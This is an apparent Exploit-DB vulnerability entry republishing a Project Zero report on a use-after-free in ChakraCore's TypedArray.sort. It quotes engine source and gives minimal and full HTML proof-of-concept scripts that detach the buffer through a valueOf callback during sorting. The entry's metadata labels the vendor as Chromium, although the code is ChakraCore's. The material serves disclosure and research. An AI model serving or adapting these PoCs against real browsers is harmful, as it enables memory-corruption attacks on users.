Use-after-free in TypedArray.sort

vendor:

Chromium

by:

Project Zero

7,5

CVSS

HIGH

Use-after-free

416

CWE

Product Name: Chromium

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: 64-bit systems

2017

Use-after-free in TypedArray.sort

There is a use-after-free in TypedArray.sort. In TypedArrayCompareElementsHelper, the comparison function is called with the following code: Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3), undefined, JavascriptNumber::ToVarWithCheck((double)x, scriptContext), JavascriptNumber::ToVarWithCheck((double)y, scriptContext)). Assert(TypedArrayBase::Is(contextArray[0])); if (TypedArrayBase::IsDetachedTypedArray(contextArray[0])) { JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort")); } if (TaggedInt::Is(retVal)) { return TaggedInt::ToInt32(retVal); } if (JavascriptNumber::Is_NoTaggedIntCheck(retVal)) { dblResult = JavascriptNumber::GetValue(retVal); } else { dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext); }. The TypeArray is checked to see if it has been detached, but then the return value from the function is converted to an integer, which can invoke valueOf. If this function detaches the TypedArray, one swap is perfomed on the buffer after it is freed.

Mitigation:

Ensure that TypedArray objects are not detached while sorting.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=983

There is a use-after-free in TypedArray.sort. In TypedArrayCompareElementsHelper (https://chromium.googlesource.com/external/github.com/Microsoft/ChakraCore/+/TimeTravelDebugging/lib/Runtime/Library/TypedArray.cpp), the comparison function is called with the following code:

 Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                undefined,
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));

            Assert(TypedArrayBase::Is(contextArray[0]));
            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
            {
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
            }

            if (TaggedInt::Is(retVal))
            {
                return TaggedInt::ToInt32(retVal);
            }

            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
            {
                dblResult = JavascriptNumber::GetValue(retVal);
            }
            else
            {
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
            }

The TypeArray is checked to see if it has been detached, but then the return value from the function is converted to an integer, which can invoke valueOf. If this function detaches the TypedArray, one swap is perfomed on the buffer after it is freed.

A minimal PoC is as follows, and a full PoC is attached.

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);


function v(){

   postMessage("test", "http://127.0.0.1", [buf])
   return 7;

}

function compareNumbers(a, b) {

  return {valueOf : v};
}

numbers.sort(compareNumbers);

This PoC works on 64-bit systems only.
-->

<html>
<body>
<script>

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
var first = 0;


function v(){
  alert("in v");
  if( first == 0){
	   postMessage("test", "http://127.0.0.1", [buf])
	first++;
	}
   return 7;

}

function compareNumbers(a, b) {
  alert("in func");

  return {valueOf : v};
}

try{
	numbers.sort(compareNumbers);
}catch(e){

	alert(e.message);

}
</script>
</body>
</html>